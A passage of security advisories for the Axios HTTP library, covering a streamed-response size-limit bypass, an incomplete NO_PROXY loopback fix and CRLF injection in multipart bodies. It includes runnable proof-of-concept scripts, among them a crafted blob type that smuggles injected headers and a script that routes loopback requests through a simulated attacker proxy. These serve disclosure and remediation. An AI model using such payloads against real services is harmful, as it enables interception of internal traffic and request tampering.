([`lib/core/mergeConfig.js#L102`](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L102)): ```js const configValue = merge( config1[prop], utils.hasOwnProp(config2, prop) ? config2[prop] : undefined, prop ); ``` For `transport` and other adapter reads from config ([`lib/adapters/http.js#L676`](https://github.com/axios/axios/blob/v1.13.6/lib/adapters/http.js#L676)): ```js if (utils.hasOwnProp(config, 'transport') && config.transport) { transport = config.transport; } ``` The same `hasOwnProp` pattern applies to `lookup`, `httpVersion`, `http2Options`, `family`, and `formSerializer` reads in the adapter. --- ##### Environment - axios: 1.13.6 - Node.js: 22.22.0 - OS: macOS 14 - Reproduction: confirmed in isolated test harness, both gadgets independently verified ##### Disclosure Reported via GitHub Security Advisories at https://github.com/axios/axios/security/advisories/new per the axios security policy. #### Severity - CVSS Score: 7.4 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N` #### References - [https://github.com/axios/axios/security/advisories/GHSA-pf86-5x62-jrwf](https://github.com/axios/axios/security/advisories/GHSA-pf86-5x62-jrwf) - [https://nvd.nist.gov/vuln/detail/CVE-2026-42033](https://nvd.nist.gov/vuln/detail/CVE-2026-42033) - [https://github.com/axios/axios](https://github.com/axios/axios) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-pf86-5x62-jrwf) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Axios: HTTP adapter streamed responses bypass maxContentLength [CVE-2026-42036](https://nvd.nist.gov/vuln/detail/CVE-2026-42036) / [GHSA-vf2m-468p-8v99](https://github.com/advisories/GHSA-vf2m-468p-8v99) <details> <summary>More information</summary> #### Details ##### Summary When responseType: 'stream' is used, Axios returns the response stream without enforcing maxContentLength. This bypasses configured response-size limits and allows unbounded downstream consumption. ##### Details In lib/adapters/http.js: - 786-789: for responseType === 'stream', Axios immediately settles with the stream. - 797-810: maxContentLength enforcement exists only in the non-stream buffering branch. So callers may set maxContentLength and still receive/read arbitrarily large streamed responses. ##### PoC Environment: - Axios main at commit f7a4ee2 - Node v24.2.0 Steps: 1. Start an HTTP server that returns a 2 MiB response body. 2. Call Axios with: - adapter: 'http' - responseType: 'stream' - maxContentLength: 1024 3. Read the returned stream fully. Observed: - Success; full 2097152 bytes readable. Control check: - Same endpoint with responseType: 'text' and same maxContentLength: rejected with maxContentLength size of 1024 exceeded. ##### Impact Type: DoS / unbounded response processing. Impacted: Node.js applications relying on maxContentLength as a safety boundary while using streamed Axios responses. #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L` #### References - [https://github.com/axios/axios/security/advisories/GHSA-vf2m-468p-8v99](https://github.com/axios/axios/security/advisories/GHSA-vf2m-468p-8v99) - [https://nvd.nist.gov/vuln/detail/CVE-2026-42036](https://nvd.nist.gov/vuln/detail/CVE-2026-42036) - [https://github.com/axios/axios](https://github.com/axios/axios) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-vf2m-468p-8v99) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Axios: Incomplete Fix for CVE-2025-62718 — NO_PROXY Protection Bypassed via RFC 1122 Loopback Subnet (127.0.0.0/8) in Axios 1.15.0 [CVE-2026-42043](https://nvd.nist.gov/vuln/detail/CVE-2026-42043) / [GHSA-pmwg-cvhr-8vh7](https://github.com/advisories/GHSA-pmwg-cvhr-8vh7) <details> <summary>More information</summary> #### Details **1. Executive Summary** This report documents an **incomplete security patch** for the previously disclosed vulnerability **GHSA-3p68-rc4w-qgx5 (CVE-2025-62718)**, which affects the `NO_PROXY` hostname resolution logic in the Axios HTTP library. **Background — The Original Vulnerability** The original vulnerability (GHSA-3p68-rc4w-qgx5) disclosed that Axios did not normalize hostnames before comparing them against `NO_PROXY` rules. Specifically, a request to `http://localhost./` (with a trailing dot) or `http://[::1]/` (with IPv6 bracket notation) would **bypass NO_PROXY matching entirely** and be forwarded to the configured HTTP proxy — even when `NO_PROXY=localhost,127.0.0.1,::1` was explicitly set by the developer to protect loopback services. The Axios maintainers addressed this in **version 1.15.0** by introducing a `normalizeNoProxyHost()` function in `lib/helpers/shouldBypassProxy.js`, which strips trailing dots from hostnames and removes brackets from IPv6 literals before performing the NO_PROXY comparison. **The Incomplete Patch — This Finding** While the patch correctly addresses the specific cases reported (trailing dot normalization and IPv6 bracket removal), **the fix is architecturally incomplete**. The patch introduced a hardcoded set of recognized loopback addresses: ``` // lib/helpers/shouldBypassProxy.js — Line 1 const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']); ``` However, **RFC 1122 §3.2.1.3** explicitly defines the **entire 127.0.0.0/8 subnet** as the IPv4 loopback address block not just the single address `127.0.0.1`. On all major operating systems (Linux, macOS, Windows with WSL), any IP address in the range `127.0.0.2` through `127.255.255.254` is a valid, functional loopback address that routes to the local machine. As a result, an attacker who can influence the target URL of an Axios request can substitute 127.0.0.1 with any other address in the `127.0.0.0/8` range (e.g., `127.0.0.2`, `127.0.0.100`, `127.1.2.3`) to **completely bypass** the `NO_PROXY` protection even in the fully patched Axios 1.15.0 release. **Verification** This bypass has been **independently verified** on: * **Axios version:** 1.15.0 (latest patched release) * **Node.js version:** v22.16.0 * **OS:** Kali Linux (rolling) The Proof-of-Concept demonstrates that while `localhost`, `localhost`., and `[::1]` are correctly blocked by the patched version, requests to `127.0.0.2`, `127.0.0.100`, and `127.1.2.3` are **transparently forwarded to the attacker-controlled proxy server**, confirming that the patch does not cover the full RFC-defined loopback address space. **2. Deep-Dive: Technical Root Cause Analysis** **2.1 Vulnerable File & Location** | Field | Detail | | ------------- | ------------- | | File | lib/helpers/shouldBypassProxy.js| | Primary Flaw| isLoopback() — Line 1–3 | | Supporting Function | shouldBypassProxy() — Line 59–110 | | Axios Version | 1.15.0 (Latest Patched Release) | **2.2 How Axios Routes HTTP Requests The Call Chain** When Axios dispatches any HTTP request, `lib/adapters/http.js` calls `setProxy()`, which invokes `shouldBypassProxy()` to decide whether to honour a configured proxy: ``` // lib/adapters/http.js — Lines 191–199 function setProxy(options, configProxy, location) { let proxy = configProxy; if (!proxy && proxy !== false) { const proxyUrl = getProxyForUrl(location); // Step 1: Read proxy env var if (proxyUrl) { if (!shouldBypassProxy(location)) { // Step 2: Check NO_PROXY proxy = new URL(proxyUrl); // Step 3: Assign proxy } } } } ``` `shouldBypassProxy()` is the **single gatekeeper** for NO_PROXY enforcement. A bypass here means all proxy protection fails silently. **2.3 The Original Vulnerability (GHSA-3p68-rc4w-qgx5)** Before Axios 1.15.0, hostnames were compared against `NO_PROXY` using a **raw literal string match** with no normalization: ``` Request URL → http://localhost./secret NO_PROXY → "localhost,127.0.0.1,::1" Comparison: "localhost." === "localhost" → FALSE → Proxy used ← BYPASS "[::1]" === "::1" → FALSE → Proxy used ← BYPASS ``` Both `localhost.` (FQDN trailing dot, RFC 1034 §3.1) and `[::1]` (bracketed IPv6 literal, RFC 3986 §3.2.2) are **canonical representations of loopback addresses**, but Axios treated them as unknown hosts. **2.4 What the Patch Fixed (Axios 1.15.0)** The patch introduced three changes inside `lib/helpers/shouldBypassProxy.js`: <img width="602" height="123" alt="01_axios_version_verification" src="https://github.com/user-attachments/assets/844446f2-01fb-4933-9316-fb849c40c8f5" /> **Fix A `normalizeNoProxyHost()` (Lines 47–57)** Strips alternate representations before comparison: ``` const normalizeNoProxyHost = (hostname) => { if (!hostname) return hostname; // Remove IPv6 brackets: "[::1]" → "::1" if (hostname.charAt(0) === '[' && hostname.charAt(hostname.length - 1) === ']') { hostname = hostname.slice(1, -1); } // Strip trailing FQDN dot: "localhost." → "localhost" return hostname.replace(/\.+$/, ''); }; ``` **Fix B Cross-Loopback Equivalence (Lines 1–3 & 108)** Allows `127.0.0.1` and `localhost` to match each other interchangeably: ``` const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']); const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host); // Line 108 — Final match condition: return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost)); // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // If both sides are "loopback" → treat as match ``` **Fix C Normalization Applied on Both Sides (Lines 81 & 90)** ``` // Request hostname normalized: const hostname = normalizeNoProxyHost(parsed.hostname.toLowerCase()); // Each NO_PROXY entry normalized: entryHost = normalizeNoProxyHost(entryHost); ``` **2.5 The Incomplete Patch Exact Root Cause** The fundamental flaw resides in Line 1: ``` // lib/helpers/shouldBypassProxy.js — Line 1 ← ROOT CAUSE const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']); // ^^^^^^^^^^^ // Only ONE IPv4 loopback address is recognized. // The entire 127.0.0.0/8 subnet is unaccounted for. // Line 3 — Lookup against this incomplete set: const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host); // ^^^^^^^^^ // Returns FALSE for any 127.x.x.x ≠ 127.0.0.1 ``` <img width="884" height="135" alt="02_vulnerable_code_loopback_addresses" src="https://github.com/user-attachments/assets/ba06b91e-a2d2-4a99-9e1f-8c8bfbb6d71e" /> ***RFC 1122 §3.2.1.3 is unambiguous:** > "The address 127.0.0.0/8 is assigned for loopback. A datagram sent by a higher-level protocol to a loopback address MUST NOT appear on any network." This means all addresses from `127.0.0.1` through `127.255.255.254` are valid loopback addresses on any RFC-compliant operating system. On Linux, the entire `/8` block is routed to the `lo` interface by default. The patch recognises only `127.0.0.1`, leaving `16,777,213` valid loopback addresses unprotected. <img width="884" height="537" alt="03_rfc1122_loopback_definition" src="https://github.com/user-attachments/assets/951eabb4-2ec6-40ef-ad00-1fd5b9aed2d0" /> **2.6 Step-by-Step Bypass Execution Trace** Environment: ``` NO_PROXY = "localhost,127.0.0.1,::1" HTTP_PROXY = "http://attacker-proxy:5300" Target URL = "http://127.0.0.2:9191/internal-api" ``` **Annotated execution of shouldBypassProxy("http://127.0.0.2:9191/internal-api"):** ``` // Step 1 — Parse the request URL parsed = new URL("http://127.0.0.2:9191/internal-api") hostname = "127.0.0.2" // parsed.hostname // Step 2 — Read NO_PROXY environment variable noProxy = "localhost,127.0.0.1,::1" // lowercased // Step 3 — Normalize the request hostname hostname = normalizeNoProxyHost("127.0.0.2") // No brackets → skip // No trailing dot → skip // Result: "127.0.0.2" (unchanged) // Step 4 — Iterate over NO_PROXY entries // Entry → "localhost" entryHost = "localhost" "127.0.0.2" === "localhost" → false isLoopback("127.0.0.2") → false ← Set.has() returns false BYPASS starts here // Entry → "127.0.0.1" entryHost = "127.0.0.1" "127.0.0.2" === "127.0.0.1" → false isLoopback("127.0.0.2") && isLoopback("127.0.0.1") → LOOPBACK_ADDRESSES.has("127.0.0.2") → false ← Same failure → false // Entry → "::1" entryHost = "::1" "127.0.0.2" === "::1" → false isLoopback("127.0.0.2") && isLoopback("::1") → LOOPBACK_ADDRESSES.has("127.0.0.2") → false ← Same failure → false // Step 5 — Final return shouldBypassProxy() → false // Axios proceeds to route the request through the configured proxy. // The attacker's proxy server receives the full request including headers // and any response from the internal service. ``` **2.7 Why the Patch Design Is Flawed** The patch addresses the **symptom** (two specific alternate representations) rather than the **root cause** (an incomplete definition of what constitutes a loopback address). | Aspect | Original Bug | This Finding | | ------------- | ------------- | ------------- | | What was wrong | No normalization before comparison | Incomplete loopback address set| | Fix applied | Added normalizeNoProxyHost() | None set remains hardcoded | | RFC compliance | Violated RFC 1034 & RFC 3986 | Violates RFC 1122 §3.2.1.3 | | Bypass method | Alternate string representation | Alternate valid loopback address | | Impact | NO_PROXY bypass → SSRF | NO_PROXY bypass → SSRF (identical) | ``` **2.8 Total Exposed Address Space** Protected by patch: 127.0.0.1 (1 address) Unprotected loopback: 127.0.0.2 through 127.255.255.254 (16,777,213 addresses) ``` Real-world services that commonly bind to non-standard loopback addresses include: * Internal microservices and admin dashboards using dedicated loopback IPs * Development environments with multiple isolated service instances * Docker and container bridge network configurations * Test infrastructure allocating sequential loopback IPs across services **3. Comprehensive Attack Vector & Proof of Concept** **3.1 Reproduction Steps** Step 1 — Create a fresh project directory ``` mkdir axios-bypass-test && cd axios-bypass-test ``` **Step 2 — Initialize the project with the patched Axios version** Create `package.json`: ``` { "type": "module", "dependencies": { "axios": "1.15.0" } } ``` Install dependencies: ``` npm install ``` Verify the installed version: ``` npm list axios ##### Expected output: axios@1.15.0 ``` **Step 3 — Create the PoC file (`poc.js`)** ``` import http from 'http'; import axios from 'axios'; // ── Simulated attacker-controlled proxy server ──────────────────────────────── const PROXY_PORT = 5300; http.createServer((req, res) => { console.log('\n[!] PROXY HIT — Attacker proxy received request!'); console.log(` Method : ${req.method}`); console.log(` URL : ${req.url}`); console.log(` Host : ${req.headers.host}`); res.writeHead(200); res.end('proxied'); }).listen(PROXY_PORT); // ── Simulated developer security configuration ──────────────────────────────── // Developer believes all loopback traffic is protected by NO_PROXY. process.env.HTTP_PROXY = `http://127.0.0.1:${PROXY_PORT}`; process.env.NO_PROXY = 'localhost,127.0.0.1,::1'; // ── Test helper ─────────────────────────────────────────────────────────────── async function test(url) { console.log(`\n[*] Testing: ${url}`); try { const res = await axios.get(url, { timeout: 2000 }); if (res.data === 'proxied') { console.log(' Result → [PROXIED] ← BYPASS CONFIRMED'); } else { console.log(' Result → [DIRECT] ← Safe, no proxy used'); } } catch (err) { if (err.code === 'ECONNREFUSED') { console.log(' Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy)'); } } } // ── Test execution ──────────────────────────────────────────────────────────── setTimeout(async () => { // Section A: Cases fixed by the existing patch — expected to go DIRECT console.log('\n=== PATCHED CASES (Expected: All requests bypass the proxy) ==='); await test('http://localhost:9191/secret'); await test('http://localhost.:9191/secret'); await test('http://[::1]:9191/secret'); // Section B: Bypass cases — expected to go DIRECT, but actually go through proxy console.log('\n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ==='); await test('http://127.0.0.2:9191/secret'); await test('http://127.0.0.100:9191/secret'); await test('http://127.1.2.3:9191/secret'); process.exit(0); }, 500); ``` **Step 4 — Execute the PoC** ``` node poc.js ``` **3.2 Observed Output** The following output was captured during testing on Kali Linux with Axios 1.15.0: ``` === PATCHED CASES (Expected: All requests bypass the proxy) === [*] Testing: http://localhost:9191/secret Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy) [*] Testing: http://localhost.:9191/secret Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy) [*] Testing: http://[::1]:9191/secret Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy) === BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) === [*] Testing: http://127.0.0.2:9191/secret [!] PROXY HIT — Attacker proxy received request! Method : GET URL : http://127.0.0.2:9191/secret Host : 127.0.0.2:9191 Result → [PROXIED] ← BYPASS CONFIRMED [*] Testing: http://127.0.0.100:9191/secret [!] PROXY HIT — Attacker proxy received request! Method : GET URL : http://127.0.0.100:9191/secret Host : 127.0.0.100:9191 Result → [PROXIED] ← BYPASS CONFIRMED [*] Testing: http://127.1.2.3:9191/secret [!] PROXY HIT — Attacker proxy received request! Method : GET URL : http://127.1.2.3:9191/secret Host : 127.1.2.3:9191 Result → [PROXIED] ← BYPASS CONFIRMED ``` <img width="1621" height="739" alt="05_poc_execution_bypass_confirmed" src="https://github.com/user-attachments/assets/6caf9f7a-36ed-4feb-b9f3-f82532da2de7" /> **3.3 Analysis of Results** The output conclusively demonstrates the following: **Patched cases behave correctly:** Requests to `localhost`, `localhost.` (trailing dot), and `[::1]` (bracketed IPv6) all result in a direct connection, confirming that the existing patch in Axios 1.15.0 correctly handles the cases reported in GHSA-3p68-rc4w-qgx5. **Bypass cases confirm the incomplete patch:** Requests to `127.0.0.2`, `127.0.0.100`, and `127.1.2.3` all of which are valid loopback addresses within the `127.0.0.0/8` subnet as defined by `RFC 1122 §3.2.1.3` are transparently forwarded to the attacker-controlled proxy server. The proxy receives the full request including the HTTP method, target URL, and `Host` header, demonstrating that any response from an internal service bound to these addresses would be fully intercepted. This confirms that the `NO_PROXY` protection configured by the developer (`localhost,127.0.0.1,::1`) fails silently for the entire `127.0.0.0/8` address range beyond `127.0.0.1`, providing a reproducible and reliable bypass of the security control introduced by the patch. **4. Impact Assessment** This vulnerability is a **security control bypass** specifically an incomplete patch that allows an attacker to circumvent the `NO_PROXY` protection mechanism in Axios by using any loopback addresses within the `127.0.0.0/8` subnet other than `127.0.0.1`. The result is that traffic intended to remain private and direct is silently intercepted by a configured proxy server. **4.1 Who Is Impacted?** Primary Target — Node.js Backend Applications Any Node.js application that meets **all three of the following conditions** is vulnerable: ``` Condition 1: Uses Axios 1.15.0 (latest patched) for HTTP requests Condition 2: Has HTTP_PROXY or HTTPS_PROXY set in its environment (common in corporate networks, cloud deployments, containerised environments, and CI/CD pipelines) Condition 3: Relies on NO_PROXY=localhost,127.0.0.1,::1 (or similar) to protect loopback or internal services from proxy routing ``` **Affected Deployment Environments** | Environment | Risk Level | | ------------- | ------------- | | Cloud-hosted applications (AWS, GCP, Azure) | Critical| | Containerised microservices (Docker, Kubernetes) | Critical| | Corporate networks with mandatory proxy | High| | CI/CD pipelines with proxy environment variables | High| | On-premise servers with internal proxy | High| **Scale of Exposure** Axios is one of the most widely used HTTP client libraries in the JavaScript ecosystem, with over **500 million weekly downloads** on npm. Any application in the above categories using Axios 1.15.0 is affected, regardless of whether the developer is aware of the underlying proxy routing logic. **4.3 Impact Details** **Impact 1 Silent Interception of Internal Service Traffic** When an application makes a request to an internal loopback service using a non-standard loopback address (e.g., `http://127.0.0.2/admin`), Axios silently routes the request through the configured proxy instead of connecting directly. ``` Developer expects: Application → 127.0.0.2:8080 (direct) Actual behaviour: Application → Attacker Proxy → 127.0.0.2:8080 The proxy receives: - Full request URL - HTTP method - All request headers (including Authorization, Cookie, API keys) - Request body (for POST/PUT requests) - Full response from the internal service ``` The developer receives no error or warning. From the application's perspective, the request succeeds normally. **Impact 2 — SSRF Mitigation Bypass** Many applications implement SSRF protections by configuring `NO_PROXY` to prevent requests to loopback addresses from being forwarded externally. This bypass defeats that protection entirely for any loopback address beyond `127.0.0.1`. ``` SSRF Protection (as configured by developer): NO_PROXY = localhost,127.0.0.1,::1 What developer believes is protected: All loopback/internal addresses What is actually protected: Only: localhost, 127.0.0.1, ::1 (3 of 16,777,216 loopback addresses) What remains exposed: 127.0.0.2 through 127.255.255.254 (16,777,213 addresses) ``` An attacker who can influence the target URL of an Axios request through user-supplied input, redirect chains, or other SSRF vectors can exploit this gap to reach internal services that the developer explicitly intended to protect. **Impact 3 — Cloud Metadata Service Exposure** In cloud environments (AWS, GCP, Azure), SSRF vulnerabilities are particularly severe because they can be used to access the instance metadata service and retrieve IAM credentials, enabling full cloud account compromise. While the AWS IMDSv2 service is reachable at `169.254.169.254` (not a loopback address), many cloud deployments run internal metadata proxies, credential servers, or service discovery endpoints bound to non-standard loopback addresses within the `127.0.0.0/8` range. An attacker reaching any of these services through the bypass could: * Retrieve temporary IAM credentials * Access environment variables containing secrets * Enumerate internal service configurations * Pivot to other internal services via the compromised credentials **Impact 4 — Confidential Data Exfiltration** Any internal service binding to a `127.x.x.x` address other than `127.0.0.1` is fully exposed. This includes: | Internal Service Type | Exposed Data | | ------------- | ------------- | | Admin panels / dashboards | User data, configuration, logs | | Internal APIs | Business logic, database contents | | Secret managers / vaults | API keys, tokens, certificates | | Health check endpoints | Infrastructure topology | | Development services | Source code, environment variables | **Impact 5 — No Indication of Compromise** A particularly dangerous characteristic of this vulnerability is that it is **completely silent** neither the application nor the developer receives any indication that requests are being routed incorrectly. There are no error messages, no exceptions thrown, and no changes in application behaviour. The proxy interception is entirely transparent from the application's perspective, making detection extremely difficult without active network monitoring. **4.4 Comparison with Original Vulnerability** | Internal Service Type | Exposed Data | Exposed Data | | ------------- | ------------- | ------------- | | Attack method | Use localhost. or [::1]| Use any 127.x.x.x ≠ 127.0.0.1 | | Patch status | Fixed in 1.15.0 | Not fixed in 1.15.0 | | CVSS score | 9.3 Critical | 9.9 Critical or (equivalent) | | Attacker effort| Trivial | Trivial | | Detection by developer | None | None | | Impact | SSRF / proxy bypass | SSRF / proxy bypass (identical) | The severity of this finding is equivalent to the original vulnerability because the attack conditions, exploitation technique, and resulting impact are identical. The only difference is the specific input used to trigger the bypass, which the existing patch completely fails to address. **5. Technical Remediation & Proposed Fix** **5.1 Vulnerable Code Block** The vulnerability resides in `lib/helpers/shouldBypassProxy.js` at lines 1–3. The following is the exact code extracted from Axios 1.15.0: ``` // lib/helpers/shouldBypassProxy.js — Axios 1.15.0 // Lines 1–3 (VULNERABLE) const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']); const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host); ``` This hardcoded `Set` is subsequently used at line 108 during the final NO_PROXY match evaluation: ``` // lib/helpers/shouldBypassProxy.js — Line 108 (VULNERABLE USAGE) return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost)); // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // isLoopback("127.0.0.2") → LOOPBACK_ADDRESSES.has("127.0.0.2") → FALSE // This causes the match to fail for any 127.x.x.x address beyond 127.0.0.1 ``` **Why this is dangerous:** The `Set` performs a strict membership check. Any IPv4 loopback address outside the three hardcoded entries returns `false`, causing `shouldBypassProxy()` to return `false` and silently route the request through the configured proxy. **5.2 Proposed Patched Code** Replace lines 1–3 in `lib/helpers/shouldBypassProxy.js` with the following RFC-compliant implementation: ``` // lib/helpers/shouldBypassProxy.js // Lines 1–3 (PROPOSED FIX — RFC 1122 §3.2.1.3 Compliant) const isLoopback = (host) => { // Named loopback hostname if (host === 'localhost') return true; // IPv6 loopback address if (host === '::1') return true; // Full IPv4 loopback subnet: 127.0.0.0/8 (RFC 1122 §3.2.1.3) // Matches any address from 127.0.0.0 through 127.255.255.254 const parts = host.split('.'); return ( parts.length === 4 && parts[0] === '127' && parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255) ); }; ``` **5.3 Diff View — Before vs After** ``` // lib/helpers/shouldBypassProxy.js - const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']); - - const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host); + const isLoopback = (host) => { + if (host === 'localhost') return true; + if (host === '::1') return true; + const parts = host.split('.'); + return ( + parts.length === 4 && + parts[0] === '127' && + parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255) + ); + }; ``` All other code in `shouldBypassProxy.js` remains unchanged. No other files require modification. **5.4 Why This Fix Must Be Applied** **Reason 1 — RFC 1122 Compliance** The current implementation violates **RFC 1122 §3.2.1.3**, which defines the entire `127.0.0.0/8` block as the IPv4 loopback address range not just the single address `127.0.0.1`. The proposed fix aligns Axios with the standard, ensuring that all valid loopback addresses are recognised and handled consistently. ``` RFC 1122 §3.2.1.3: "The address 127.0.0.0/8 is assigned for loopback. A datagram sent by a higher-level protocol to a loopback address MUST NOT appear on any network." Current fix covers : 3 addresses (localhost, 127.0.0.1, ::1) Proposed fix covers : 16,777,216 addresses (entire 127.0.0.0/8 + loopback names) ``` **Reason 2 — The Existing Patch Has Already Failed Once** The patch for GHSA-3p68-rc4w-qgx5 was released with the explicit intent of securing NO_PROXY hostname matching for loopback addresses. Within the same release (1.15.0), the protection can be bypassed by substituting `127.0.0.1` with any other address in the `127.0.0.0/8` range. Leaving this gap unaddressed means that the patch creates a **false sense of security** developers believe their loopback traffic is protected when it is not. **Reason 3 — Real Operating System Behaviour** On Linux the dominant platform for Node.js server deployments the kernel routes the **entire `127.0.0.0/8` subnet** to the loopback interface `lo` by default. This means any address in that range functions identically to `127.0.0.1` at the networking level. ``` ##### Linux routing table — default configuration $ ip route show table local | grep "127" local 127.0.0.0/8 dev lo proto kernel scope host src 127.0.0.1 ##### Proof: 127.0.0.2 is a valid loopback address on Linux $ ping -c 1 127.0.0.2 PING 127.0.0.2: 56 data bytes 64 bytes from 127.0.0.2: icmp_seq=0 ttl=64 time=0.045 ms ``` <img width="711" height="181" alt="04_linux_loopback_subnet_proof" src="https://github.com/user-attachments/assets/fd0f8430-37c5-4597-b2d9-8e27e479d7b2" /> Axios's current implementation does not reflect this operating system behaviour, resulting in an inconsistency between what the OS considers loopback and what Axios treats as loopback. <img width="588" height="198" alt="06_ping_127 0 0 2_loopback_confirmed" src="https://github.com/user-attachments/assets/23bf1ab8-1bd6-4f39-88a7-93c518d72990" /> **Reason 4 — The Proposed Fix Has Zero Performance Impact** The existing solution uses a `Set.has()` lookup an O(1) operation. The proposed fix replaces this with: 1. Two direct string comparisons (`'localhost'`, `'::1'`) — O(1) 2. A `split('.')` and array validation — O(1) with a fixed-length array of 4 elements The computational cost is **equivalent or lower** than the current approach, and the fix introduces no new external dependencies. **Reason 5 — The Fix Is Minimal and Surgical** The proposed change modifies only **3 lines** of a single file. It does not alter: * The `parseNoProxyEntry()` function * The `normalizeNoProxyHost()` function * The `shouldBypassProxy()` main function logic * Any other file in the codebase This minimises regression risk and makes the fix straightforward to review, test, and backport to older supported branches. **Reason 6 — Resilient to Alternative IP Encodings** Because Axios normalises the request URL using Node's native `new URL()` parser before passing it to `shouldBypassProxy()`, alternative IP encodings (such as octal `0177.0.0.1`, hex `0x7f.0.0.1`, or integer `2130706433`) are already resolved into their standard IPv4 dotted-decimal format. This means the proposed `.split('.')` validation logic is completely robust and cannot be bypassed using URL-encoded IP obfuscation techniques. **5.5 Additional Recommendation — IPv6 Loopback Range** While the primary bypass demonstrated in this report targets the IPv4 `127.0.0.0/8` range, the Axios team should also consider validating the full IPv6 loopback representation. The current implementation recognises only `::1`. A more complete check would also handle the full-form notation: ``` // Additional IPv6 loopback representations to consider: '0:0:0:0:0:0:0:1' // Full notation of ::1 '::ffff:127.0.0.1' // IPv4-mapped IPv6 loopback '::ffff:7f00:1' // Hex IPv4-mapped IPv6 loopback ``` Normalising these representations before comparison would make the NO_PROXY implementation comprehensively RFC-compliant across both IPv4 and IPv6 address families. #### Severity - CVSS Score: 7.2 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N` #### References - [https://github.com/axios/axios/security/advisories/GHSA-pmwg-cvhr-8vh7](https://github.com/axios/axios/security/advisories/GHSA-pmwg-cvhr-8vh7) - [https://nvd.nist.gov/vuln/detail/CVE-2026-42043](https://nvd.nist.gov/vuln/detail/CVE-2026-42043) - [https://github.com/axios/axios](https://github.com/axios/axios) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-pmwg-cvhr-8vh7) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Axios: CRLF Injection in multipart/form-data body via unsanitized blob.type in formDataToStream [CVE-2026-42037](https://nvd.nist.gov/vuln/detail/CVE-2026-42037) / [GHSA-445q-vr5w-6q77](https://github.com/advisories/GHSA-445q-vr5w-6q77) <details> <summary>More information</summary> #### Details ##### Summary The `FormDataPart` constructor in `lib/helpers/formDataToStream.js` interpolates `value.type` directly into the `Content-Type` header of each multipart part without sanitizing CRLF (`\r\n`) sequences. An attacker who controls the `.type` property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers. ##### Details In `lib/helpers/formDataToStream.js` at line 27, when processing a Blob/File-like value, the code builds per-part headers by directly embedding value.type: ``` if (isStringValue) { value = textEncoder.encode(String(value).replace(/\r?\n|\r\n?/g, CRLF)); } else { // value.type is NOT sanitized for CRLF sequences headers += `Content-Type: ${value.type || 'application/octet-stream'}${CRLF}`; } ``` Note that the string path (line above) explicitly sanitizes CRLF, but the binary/blob path does not. This inconsistency confirms the sanitization was intended but missed for `value.type`. ##### Attack chain: 1. Attacker uploads a file to a Node.js proxy service, supplying a crafted MIME type containing `\r\n` sequences 2. The proxy appends the file to a FormData and posts it via `axios.post(url, formData)` 3. axios calls `formDataToStream()`, which passes `value.type` unsanitized into the multipart body 4. The downstream server receives a multipart body containing injected per-part headers 5. The server's multipart parser processes the injected headers as legitimate This is reachable via the fully public axios API (`axios.post(url, formData)`) with no special configuration. Additionally, `value.name` used in the `Content-Disposition` construction nearby likely has the same issue and should be audited. ##### PoC **Prerequisites**: Node.js 18+, axios (tested on 1.14.0) ``` const http = require('http'); const axios = require('axios'); let receivedBody = ''; const server = http.createServer((req, res) => { let body = ''; req.on('data', chunk => { body += chunk.toString(); }); req.on('end', () => { receivedBody = body; res.writeHead(200); res.end('ok'); }); }); server.listen(0, '127.0.0.1', async () => { const port = server.address().port; class SpecFormData { constructor() { this._entries = []; this[Symbol.toStringTag] = 'FormData'; } append(name, value) { this._entries.push([name, value]); } [Symbol.iterator]() { return this._entries[Symbol.iterator](); } entries() { return this._entries[Symbol.iterator](); } } const fd = new SpecFormData(); fd.append('photo', { type: 'image/jpeg\r\nX-Injected-Header: PWNED-by-attacker\r\nX-Evil: arbitrary-value', size: 16, name: 'photo.jpg', [Symbol.asyncIterator]: async function*() { yield Buffer.from('MALICIOUS PAYLOAD'); } }); await axios.post(`http://127.0.0.1:${port}/upload`, fd); if (receivedBody.includes('X-Injected-Header: PWNED-by-attacker')) { console.log('[VULNERABLE] CRLF injection confirmed in multipart body'); console.log('Received body:\n' + receivedBody); } else { console.log('[NOT_VULNERABLE]'); } server.close(); }); ``` ##### 